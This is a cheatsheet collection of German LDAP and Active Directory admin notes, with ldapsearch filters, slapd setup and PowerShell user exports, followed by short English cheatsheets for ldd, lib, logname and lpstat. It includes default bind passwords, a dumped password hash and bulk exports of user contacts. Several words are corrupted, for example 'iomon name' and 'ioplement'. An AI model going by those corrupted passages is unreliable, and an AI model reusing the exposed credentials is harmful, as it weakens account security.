(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))
(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof:1.2.840.113556.1.4.1941:=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))
# fertige Search:
ldapsearch -E pr=1000/noprompt -D pdfuser -w PASSWORT -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activedirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))" cn displayName | grep -i 'cn: ' | cut -d ' ' -f2
USER1
USER2
# Hinzufügen eines einzelnen .ldif Eintrages
ldapadd -vc -D cn=Administrator,C=com -w admin -x -H ldap://ldap.linuxserver0041.lxu.io -f USER.ldif
# LDAP Search nach User
ldapsearch -L -x -D '[email protected]' -w 'PASSWORD' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(&(objectCategory=person)(objectClass=user)(linuxserver0ManagedBy=*)(&(memberof=CN=AR-PRX-ALLOW,OU=Proxy,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io)))" | egrep '(distinguishedName:|linuxserver0ManagedBy:)' | sed 'N;s/^distinguishedName: CN=\([-_A-Za-z0-9]*\),.*linuxserver0ManagedBy: \([0-9\]*\)$/\1;\2/'
# LDAP Search Test
ldapsearch -vvv -LLL -b "CN=MAX MUSTER,OU=USR,OU=linuxserver0698,O=LXU,C=DE" -H ldap://activedirldap.linuxserver0041.lxu.io
### get oldproxy user ###
# ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(CN=*prx_oldproxy)" member
ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io \
-E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(CN=*prx_proxy)" member \
| grep -i OU=USERS \
| sed -e 's/member: CN=\([a-Z0-9\s-]*\),OU=.*/\1/' \
| grep -v member \
| sort >$TMPOLDPROXYUSER
### get skype user ###
# ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(CN=*prx_instantmessaging)" member
ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io \
-E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(CN=*prx_instantmessaging)" member \
# # # | grep -i OU=USERS \
| sed -e 's/member: CN=\([a-Z0-9\s-]*\),OU=.*/\1/' \
| grep -v member \
| sort >$TMPSKYPEUSER
### fetch mailaddresses from lotusnotes-LDAP
:### get whole lotusnotes-ldap data accessible via anonymous (no user neecomd)
#ok# ldapsearch -L -x -H ldap://lotusnotesldap.linuxserver0041.lxu.io "(mailaddress=*LXU.org)"
ldapsearch -L -x -H ldap://lotusnotesldap.linuxserver0041.lxu.io "(mailaddress=*LXU.org)" > $lotusnotes_TEMPFILE1 || { echo "ERROR: problem with LDAP query on lotusnotesldap.linuxserver0041.lxu.io"; exit 1; }
#ok# adldapkelb wird abgefragt und in die Variable $aduserfile geschrieben
ldapsearch -E pr=1000/noprompt -D MYUSER -w PASSWORD -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activedirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External))(linuxserver0AccountStatus=active))" cn displayName > $aduserfile
#ok# Sucht den displayName aus der Variablen $aduserfile und schreibt diesen in die Varaibale $aduser_mit_umlaut
ldapsearch -E pr=1000/noprompt -D MYUSER -w PASSWORD -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activdirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0MailType=internal-verified)(linuxserver0AccountType=External))(linuxserver0AccountStatus=active))" cn displayName > $aduserfile
###
ldapsearch -D cn='LDAP User',ou=usr,ou=linuxserver0041,O=LXU,C=DE -w PASSWORT "-b $lotusnotesDIDuser" -LLL -x -H ldap://$lotusnotesserver "(employeeid=$LXUDID)" cn mail postaladdress telephonenumber facsimiletelephonenumber mobile l postalcode physicaldeliveryofficename givenname sn objectclass location employeeid | sed -e "/dominoPerson/Id" -e "/mobile::/Id" -e '/telephonenumber:/ s%/%-%g' -e "/^ *$/d" >${/var/tmp/ldif_ad}/${searchpattern}.ldif
########################
# INFOS LPIC 3 zu LDAP #
################------------------------------------------##################
#######
# 210.3 LDAP Client
#####################
apt install ldap-utils
ldapsearch -x -W -b dc=example,dc=io -H ldap://localhost -D cn=admin,dc=example,dc=io
-x keine SASL Authentifizierung sondern SimpleBind
-W soll mich nach Passwort fragen
-b welchen Baum will ich befragen
-H Welcher Host ldap:// oder ldapi:// (Über locale Socketdatei) oder ldaps:// (Verschlüsselt)
-D Gibt den Benutzer an mit dem ich mich anmelden will
-LLL Sorgt dafür das die Ausgabe kompakter wird
dn Sorgt dafür das man nur noch den Distinguished Name zurückbekommt.
# Erstellen einer .ldaprc im /home
#-----------------------------------#
Um nicht jedesmal diesen ewig langen Befehl eingeben zu müssen, kann man einer rc Datei erstellen.
vim ~/.ldaprc
#--------------------------------------
BASE dc=example,dc=io
BINDDN cn=admin,dc=example,dc=io
HOST localhost
#-------------------------------------
Nun reicht folgene ldapsuche:
ldapsearch -x -W -LLL dn
# LDAP Benutzer anlegen
#-----------------------#
Voraussetzung: nis.schema und inetorgperson.schema müssen eingebunden sein
DOMAIN="dc=example,dc=io"
# Eine Variable in der Bash erstellen
# 1.) OrganisationsUnit anlegen
ldapadd -x -W <<LDIF
-> Anschließend hier text reinpasten:
--------------------------------------
dn: ou=people,$DOMAIN
objectclass: top
objectClass: organizationalUnit
ou: people
dn: ou=groups,$DOMAIN
objectclass: top
objectclass: organizationalUnit
ou: groups
--------------------------------------
-> Abschließend gibt man folgendes ein und ENTER:
LDIF
# 2.) Gruppe anlegen
ldapadd -x -W <<LDIF
dn: cn=ldapusers,ou=groups,$DOMAIN
objectclass: top
objectclass: posixGroup
gidNumber: 10000
cn: ldapusers
LDIF
# 2.) User anlegen
ldapadd -x -W <<LDIF
dn: uid=raspberrypi,ou=people,$DOMAIN
objectclass: top
objectclass: posixAccount
objectClass: account
cn: Raspberry Pi
uid: raspberrypi
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pi
userPassword: pi
loginShell: /bin/bash
LDIF
# 3. LDAP USER Passwd
ldappasswd -x -W -s pi uid=raspberrypi,ou=people,dc=example,dc=io
# 4. LDAP Abfragen mit Filter
Aufgabe 1: Alle objectKlassen die zur Objektklasse organizationalUnit gehören ausgeben lassen
ldapsearch -x -W -LLL '(objectClass=organizationalUnit)'
dn: ou=groups,dc=example,dc=io
objectClass: top
objectClass: organizationalUnit
ou: groups
dn: ou=people,dc=example,dc=io
objectClass: top
objectClass: organizationalUnit
ou: people
Aufgabe 2: Zwei Abfragen miteinander verknüpfen - Selbe Abfrage - nur jetzt die Objekte bei der die ou=groups ist,
und dann nur die ou anzeigen lassen:
ldapsearch -x -W -LLL '(&(objectClass=organizationalUnit)(ou=groups))' ou
dn: ou=groups,dc=example,dc=io
ou: groups
# 5. Changetype Operationen
ldapmodify - der komplexerste LDAP Befehl
ldapmodify -f /tmp/entrymods
--> Datei /tmp/entrymods anlegen
--> Dort stehen die Anweisungen drin, wie das Object/Attribut geändert werden soll
--> Beispiel:
dn: cn=Modify Me, dc=example,dc=io
changetype: modify
replace: mail
mail: [email protected]
-
add: title
title: Grand Poobah
-
add: jpegPhoto
jpegPhoto:< file:///tmp/modme.jpeg
-
delete: description
-
--> Oben steht erstmal welches Object ich verändern möchte
--> Schlüsselwort changetype z.B. ersetzte, hinzufügen, löschen (replace,add,delete)
# 6. Löschen von Einträgen
Aufgabe 3: Lösche nun wieder den User raspberrypi aus dem LDAP
ldapdelete -x -W dn: uid=raspberrypi,ou=people,dc=example,dc=io
loglevel <integer> [...]
Specify the level at which debugging statements and operation statistics should be syslogged (currently logged to the syslogd(8) LOG_LOCAL4 facility). They must be considered subsystems rather than increasingly
verbose log levels. Some messages with higher priority are logged regardless of the configured loglevel as soon as any logging is configured. Log levels are additive, and available levels are:
1 (0x1 trace) trace function calls
2 (0x2 packets) debug packet handling
4 (0x4 args) heavy trace debugging (function args)
8 (0x8 conns) connection management
16 (0x10 BER) print out packets sent and received
32 (0x20 filter) search filter processing
64 (0x40 config) configuration file processing
128 (0x80 ACL) access control list processing
256 (0x100 stats) connections, LDAP operations, results (reiomended)
512 (0x200 stats2) stats log entries sent
1024 (0x400 shell) print iomunication with shell backends
2048 (0x800 parse) entry parsing
16384 (0x4000 sync) LDAPSync replication
32768 (0x8000 none) only messages that get logged whatever log level is set
The desired log level can be input as a single integer that iobines the (ORed) desired levels, both in decimal or in hexadecimal notation, as a list of integers (that are ORed internally), or as a list of the names
that are shown between brackets, such that
loglevel 129
loglevel 0x81
loglevel 128 1
loglevel 0x80 0x1
loglevel acl trace
# 210.4 LDAP Server
######################
LDAP Server ist ein Verzeichnisdienst und steht meistens im Backend und dient als Konfigurationquelle oder Authentifizierungsquelle für andere Dienste
Es gibt Openldap, LDAP von Novell & Sun und es gibt ActiveDirectory sowie FedoreDirectory Server, welche das ldap Protokoll implementieren.
--> Ein SambaServer kann seine User/Pass dort ablegen
--> Ein LinuxRechner kann einen LDAP Server als Anmeldeserver verwenden
--> Postfix kann das Mailrouting über Tabellen die im LDAP Server abgelegt sind organisieren
DAP war der Vorgänger von LDAP - LDAP steht für Lightweight Directory Access Protokol
LDAP ist ein Protokoll. Daher kann der Admin konfigurieren wo der LDAP Server seine Daten abspeichert, denn dies ist nicht im
Protokol geregelt. Man hat Verschiedene Möglichkeiten dies zu tun, wie z.B. Stasrv85rt wie hdb und mdb. Es gibt aber auch Setups bei denen Postgressdatenbank als Backend benutzt. Oder man kann LDAP auch als Meta-Server konfigurieren, so das meine Anfragen quasi als Proxy funktionieren.
dn = distinguished Name (eindeutiger Name im LDAP Baum)
dc = Domain ioponend
cn = iomon name
ou = Organisations Unit
LDAP Verzeichnisbaum
[getrennter baum]
dc=io cn=config # dn Schreibweise: dn: dc=io oder dn: cn=config
/ \
/ \
dc=example \ # dn Schreibweise: dn: dc=example,dc=io
/ \ \
/ \ \
cn=admin ou=people ou=groups # dn Schreibweise: dn: cn=admin,dc=example,dc=io
| |
| |
uid=pi cn=ldapusers
Für die Bennenung bin ich relativ frei mal ou mal uid mal cn -> das kann man mischen wie man lust hat
Installation früher:
#--------------------#
DEBIAN: slapd
SUSE: openldap2
Fedora: openldap-servers
Frühere Hauptkonfig: slapd.conf enthielt
includes für z.B. core.schema, nis.schema
vi /usr/share/doc/slapd/example/slapd.conf
-> Wie soll das Schema Aussehen
-> Wo sollen die Daten abgespeichert werden (hdb, mdb Database?)
moduleload back_hdb
backend hdb
database hdb
-> Zugriffsrechte müssen gesetzt werden Diese regeln:
Wer (z.B. ich selbst) darf auf welches Attribut wie zugreifen (z.B. lesend, schreibend, garnicht)
cat /usr/share/doc/slapd/example/slapd.conf > /etc/ldap/slapd.conf
Installation heute:
#------------------#
apt install slapd
LDAP Admin Passwort vergeben
Heute gibt es diese slapd.conf nicht mehr. Dafür gibt es nun einen eigenen getrennten Konfigurations Baum mit Schematas unter:
/etc/ldap/slapd.d/cn=config# ls
cn=schema/
cn=module{0}.ldif
olcBackend={0}mdb.ldif
olcDatabase={1}mdb.ldif
olcDatabase={0}config.ldif
cn=schema.ldif
olcDatabase={-1}frontend.ldif
ldif steht für LDAP Interchange Format - Eine Format mit dem man LDAP Daten austauschen kann..
Whitepages sind Dokumentation wie man sich so einen LDAP Server aufbauen kann.
Konfiguration:
#---------------#
/etc/ldap/schema/nis.schema
Es gibt in diesen Schematas Attribute und Objekte. jeder Typ hat eine eigene Nummer (Objekt-IDs = OID)
Ein Objekt besteht dann jeweils aus mehreren Attributen. Hier z.B. ist das attribut homeDirectory
ein Bestandteil der Objektklasse posixAccount, welche den UNIX Login regelt. Must = Pflichtfeld, May = Optionalfeld
Manche von diesen Attributen dürfen auch mehrfach da sein. Z.B. kann ja ein User mehrere Telefonnummern haben. In der Klassischen sql
Datenbank wäre ich hier an der Stelle raus, bräuchte man mehrere Tabellen um das darzustellen. Hier ist es so das man alles in ein Objeckt hineinpacken kann.
################################
# Attribute Type Definitions
attributetype ( 1.3.6.1.1.1.1.3 NAME 'homeDirectory'
DESC 'The absolute path to the home directory'
EQUALITY caseExactIA5Match
SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )
# Object Class Definitions
objectclass ( 1.3.6.1.1.1.2.0 NAME 'posixAccount'
DESC 'Abstraction of an account with POSIX attributes'
SUP top AUXILIARY
MUST ( cn $ uid $ uidNumber $ gidNumber $ homeDirectory )
MAY ( userPassword $ loginShell $ gecos $ description ) )
################################
# Auf den LDAP Server zugreifen
#-------------------------------#
slapcat
dn: dc=nodomain
objectClass: top
objectClass: dcObject
objectClass: organization
o: nodomain
dc: nodomain
structuralObjectClass: organization
entryUUID: 926e2c74-c881-1037-8d89-33fe3664983b
creatorsName: cn=admin,dc=nodomain
createTimestamp: 20180330161722Z
entryCSN: 20180330161722.711020Z#000000#000#000000
modifiersName: cn=admin,dc=nodomain
modifyTimestamp: 20180330161722Z
dn: cn=admin,dc=nodomain
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: b2NTSEF9S1lBMEwvWjR2T2RiVHlIMzJLdlluREs0MjN5c2VvTxp=
structuralObjectClass: organizationalRole
entryUUID: 92716984-c881-1037-8d8a-33fe3664983b
creatorsName: cn=admin,dc=nodomain
createTimestamp: 20180330161722Z
entryCSN: 20180330161722.732784Z#000000#000#000000
modifiersName: cn=admin,dc=nodomain
modifyTimestamp: 20180330161722Z
# LDIF Syntax Aufbau:
#---------------------#
--> Slapcat gibt die ganze Datenbank wieder. (DUMP) im LDIF Format
--> Leerzeilen trennen die einzelnen Objekte
--> Jeder neue Objectblock beginnt dann immer wieder mit einem dn.
--> Anschließend kommen die ganzen Schlüssel-Wertpaare
--> Manchmal steht ein :: hinter dem Attribut -> Das bedeuktet das hier kein Klartext steht, sondern ein Base64 Encoding
--> Dies ist keine Verschlüsselung, sondern nur ein Encoding, um Umlaute in ein Feld unterzubringen
Mit slapadd kann man Daten aus LDIF Dateien einfach in die LDAP Datenbank hinzufügen. Dies geht nicht über das LDAP Protokoll. Sprich man es geht auf Dateiebene und man muss sich nicht gegen den LDAP Server authentifizieren.
SSSD = System Security Services Daemon
(Authentisierung und Identitätsverwaltung)
#-----------------------------------------#
Der SSSD ist ein Dienst der benutzt wird um Benutzer zu authentifizieren.
Ein Wesentliches Feature is das Authentifizierung zwischengespeichert (gecacht) wird.
slapd -t
# Zur Überprüfung der Konfiguration - depricated - selbe wie slaptest
Beim Backup und Restore muss man nur darauf achten, dass die Dateien die unter
/var/lib/ldap/*
liegen gelöscht werden
(wenn man mit slapcat ein Backup gemacht hat, und sie dann wieder mit slapadd hinzufügen will, muss man die Dateien dort alle löschen)
Anschließend muss man den Befehl
slapindex
ausführen, um die Indizes wieder anzulegen und die Zugriffsgeschwindigkeit wieder zu erhöhen.
# Loglevel LDAP
#--------------#
LDAP im DEBUG Modus starten mit /usr/sbin/slapd -d [DEBUGLEVEL]
In manpage slapd.conf findet man die Loglevel vom LDAP Server. Besonderheit geschrieben in Bitmasken
Geht von 1bis 32768. -1 Loggt alles mit, 32768 nichts mehr.
#-------------------#
|# Gute LDAP Tools #|
#-------------------#
ldapvi = Damit kann man mit einem Texteditor Attribute des LDAP Schemas direkt editieren und darin suchen.
shelldap = Shell-ähnliche Oberfläche zum Durchsehen von LDAP-Servern
Apache Directory Studio = LDAP Browser, Schema Editor - erfordert JavaRuntime
ldapsearch -x -b 'dc=LXU,dc=de' '(objectclass=*)'
# Test LDAP Server - It prints all the user information
# LDAP Installation und test simple
apt install slapd ldap-utils
vim etc/ldap/ldap.conf
dpkg-reconfigure slapd
ldapsearch -x
############################################
root@srv8041ldap01:~# cat README-LDAP-HowTo
BASE c=DE
BINDDN cn=Administrator,C=DE
HOST localhost
# User und Passwort für Schreibaccess
OpenLDAPServer=srv8041ldap01.linuxserver0041.lxu.io
OpenLDAPAccess="-D cn=Administrator,C=DE -w admin"
ldapadd -vc -D cn=Administrator,C=DE -w admin -x -H ldap://srv8041ldap01.linuxserver0041.lxu.io -f LDIVUSERFILE.ldif
ldapsearch -LLL -x -H ldap://ldap4voip.linuxserver0041.lxu.io -D 'cn=Administrator,c=de' -w 'admin' -b 'o=LXU,c=DE' "(cn=*LDIVUSERFILE*)"
#---------------#
# Von Manghofer - AD Abfragen
#--------------------------------#
RSATTools
starten powershell ise
Import-Module ActiveDirectory
get-aduser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" -Properties linuxserver0identityid, mail, telephoneNumber -server "ldapserver.com" | select-object Samaccountname, linuxserver0identityid, mail, telephoneNumber | export-csv -Path "C:\temp\testuser.csv" -Delimiter ";" -NoTypeInformation
Grid zum anzeigen:
out-gridview
Start OU
OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io
Mail und Tel
(&(objectCategory=person)(objectClass=user)(mail=*)(telephoneNumber=*))
Entweder Mail oder Tel
(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))
get-aduser manghofer -Properties * | select-object memberof
Get-ADGroupMember "AR-NWS-Jabber-Users" | select samaccountname
# oder Powershellsuche nach Usern mit Tel und email:
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(mail=*)(telephoneNumber=*))" -SearchBase "OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView
# oder Powershellsuche nach Usern mit entweder Mail oder Tel
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=Users,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView
# oder Powershellsuche nach Usern mit einer Telefonnr:
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=Users,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView
#==============================##==============================#
# CMD HOTLINE #
#==============================##==============================#
Cheatsheets are an excellent ioplement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide iopact and easily accessible information. While man-pages and detailed tutorials often contain ioprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe iomand ldap in a clear format. This allows users to quickly access the needed information for ldap without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ldap are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH ioMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
76 - 🖥️ldd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ldd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██████╗
# ██║ ██╔══██╗██╔══██╗
# ██║ ██║ ██║██║ ██║
# ██║ ██║ ██║██║ ██║
# ███████╗██████╔╝██████╔╝
# ╚══════╝╚═════╝ ╚═════╝
# The ldd command displays in output dependencies of a shared library.
ldd /lib/i386-linux-gnu/libcrypt-2.19.so
linux-gate.so.1 => (0xb77df000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75da000)
/lib/ld-linux.so.2 (0x80088000)
#==============================##==============================#
# CMD LDD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ldd in a clear format. This allows users to quickly access the needed information for ldd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ldd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
77 - 🖥️lib
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lib command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗
# ██║ ██║██╔══██╗
# ██║ ██║██████╔╝
# ██║ ██║██╔══██╗
# ███████╗██║██████╔╝
# ╚══════╝╚═╝╚═════╝
# Display available libraries
ldconfig -p
# Update library resources
ldconfig
# Display libraries and file location
ldd
# Libraries available to apps in real-time
"Dynamic Libraries" (.so.)
# Libraries only available to apps when installed (imported)
"Static Libraries" (.a.)
# Standard (usual) library file location
/lib
# Sofware-accessible source for library info
/etc/ld.so.cache # (binary)
# Human-readable source for library info
/etc/ld.so.conf # (points to /etc/ld.so.conf.d)
#==============================##==============================#
# CMD LIB #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command lib in a clear format. This allows users to quickly access the needed information for lib without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for lib are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
78 - 🖥️logname
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the logname command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██████╗ ███╗ ██╗ █████╗ ███╗ ███╗███████╗
# ██║ ██╔═══██╗██╔════╝ ████╗ ██║██╔══██╗████╗ ████║██╔════╝
# ██║ ██║ ██║██║ ███╗██╔██╗ ██║███████║██╔████╔██║█████╗
# ██║ ██║ ██║██║ ██║██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝
# ███████╗╚██████╔╝╚██████╔╝██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗
# ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
# The logname command prints the user-name of the current user.
logname
root
#==============================##==============================#
# CMD LOGNAME #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command logname in a clear format. This allows users to quickly access the needed information for logname without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for logname are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
79 - 🖥️lpstat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lpstat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ███████╗████████╗ █████╗ ████████╗
# ██║ ██╔══██╗██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝
# ██║ ██████╔╝███████╗ ██║ ███████║ ██║
# ██║ ██╔═══╝ ╚════██║ ██║ ██╔══██║ ██║
# ███████╗██║ ███████║ ██║ ██║ ██║ ██║
# ╚══════╝╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
# Display list of available printers
lpstat -p
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command lpstat in a clear format. This allows users to quickly access the needed information for lpstat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for lpstat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
